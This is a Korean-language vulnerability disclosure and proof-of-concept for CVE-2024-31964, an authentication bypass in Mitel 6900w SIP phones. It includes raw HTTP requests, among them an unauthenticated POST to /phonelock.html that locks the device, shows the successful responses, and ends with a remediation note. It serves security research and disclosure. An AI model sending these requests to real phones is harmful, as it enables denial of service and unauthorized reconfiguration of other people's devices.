
CVE-2024-31964에 대한 개념 증명 익스플로잇, Mitel 6900w 시리즈 SIP 전화기의 임시 인증 우회로 인증되지 않은 POST 요청이 장치 구성을 수정하고 서비스 거부를 수행할 수 있습니다.
CVE-2024-31964 PoC: Mitel 6900w 시리즈 SIP 전화기 - 임시 인증 우회
여러 Mitel 제품의 HTTP 관리 웹사이트 패널에서 임시 인증 우회 취약점으로 구성됩니다.
공격자가 장치 구성을 수정하고, 영향을 받는 장치에 대해 서비스 거부 공격을 수행할 수 있게 합니다.
사용자가 몇 분 전에, 그리고 공격자와 동일한 소스 IP에서 성공적으로 로그인했어야 합니다.
제안된 CVSS:
이 CVE는 다음 속성을 가진 3대의 SIP 전화기를 감사하는 동안 발견되었습니다(이 CVE는 이 3가지 장치 모델에서 성공적으로 테스트되었습니다):
Mitel의 권고에 따르면 더 많은 제품에 영향을 미치지만, 저는 이를 검증하기 위해 그중 어떤 제품에도 접근할 수 없었습니다.
일반적으로 Mitel 제어/관리 웹 패널 리소스에 접근하려면, 접근하려는 사용자의 자격 증명을 설정하는 "Authorization" 헤더와 함께 요청을 보내야 합니다.
인증된 요청 예시:

GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Authorization: Basic XXXXXXXXXXXX
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
이 헤더가 설정되지 않은 경우 "Unauthorized" 오류가 발생하며 사용자에게 인증을 요청하여 자격 증명을 요구합니다.
인증되지 않은 GET 요청:

GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
응답:
HTTP/1.1 401 Unauthorized
Server: XXX
WWW-Authenticate: Basic realm="Mitel 6920w"
Connection: close
Content-Length: 745
Content-Type: text/html
<html>
<head>
<title>HTTP 401 Unauthorized</title>
</head>
<body bgcolor="white">
<table width="450" cellpadding="3" cellspacing="5">
<tr>
<td>
<h1 style="COLOR: black; FONT: 13pt/15pt verdana">
You are not authorized to view this page</h1>
</td>
...
그러나 애플리케이션의 모든 POST 요청은 Authorization 헤더를 설정하지 않고, 즉 인증되지 않은 사용자로 수행할 수 있는 것으로 밝혀졌습니다. 단, 합법적인 사용자가 이전에 공격자와 동일한 소스 IP에서 로그인했어야 하며, 제한된 시간 동안만 가능합니다(시간 창이 약 8분인 것으로 측정되었습니다). 즉, 합법적인 사용자가 장치의 관리 웹사이트에 로그인하면, 로그인한 사용자와 동일한 IP를 가진 공격자가 자격 증명을 알 필요 없이 인증되지 않은 POST 요청을 수행할 수 있는 약 8분의 시간 창이 존재합니다. 이 취약점은 합법적인 사용자와 IP를 공유해야 한다는 요구 사항 때문에 상당히 제한적이지만, PC를 공유하거나 동일한 프록시 서버를 통해 컴퓨터에 접근하는 경우에는 악용 가능성이 더 높아집니다.
POST 요청을 통해 사용자 비밀번호 변경(비밀번호에 대한 사전 지식 필요), 장치 잠금/잠금 해제, 장치 재설정, 연락처 CSV 파일 업로드, 구성 서버 설정 등을 수행할 수 있습니다.
예를 들어, Authorization 헤더 없이 장치를 잠그려고 하면 장치가 실제로 차단되어 사용자에게 서비스가 거부되는 것을 확인할 수 있으며, 전화기를 재부팅하여 서비스를 일시적으로 완전히 거부할 수도 있습니다. 빠른 테스트로, 속도 다이얼 키와 구성 서버도 실제로 수정했습니다.
인증되지 않은 전화기 잠금 요청 예시:

POST /phonelock.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: https://10.XX.XX.246
Dnt: 1
Referer: https://10.XX.XX.246/phonelock.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
EmergencydialPlan=112%7C999%7C911%7C110&autolockDelay=0&autounlockDelay=0&lock=Bloquear
성공한 인증되지 않은 응답:
HTTP/1.1 200 OK
X-Frame-Options: DENY
Content-Length: 4160
Connection: close
Accept-Language: es
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Mitel 6920w</title>
<link rel='stylesheet' type='text/css' href='aastra.css' />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
...
<div id='content'>
<p>Teléf. bloqueado</p>
</div></div><div id='footer'><span class='copyright'>Copyright © 2023 Mitel Networks Corporation</span><span class='support'><a href='https://github.com/d-raco/cve-2024-31964/blob/main/support'>Servicio de soporte técnico</a></span></div></div></body></html>
또한 장치 재설정을 요청할 수 있습니다:

그리고 ping을 사용하여 일시적인 연결 손실을 확인할 수 있습니다:

대부분의 매개변수를 변경할 수 있습니다... 예를 들어 FTP 서버:

Authorization 헤더는 항상 요구되고 검증되어야 하며, 그리고/또는 세션은 소스 IP가 아닌 쿠키로 관리되어야 합니다.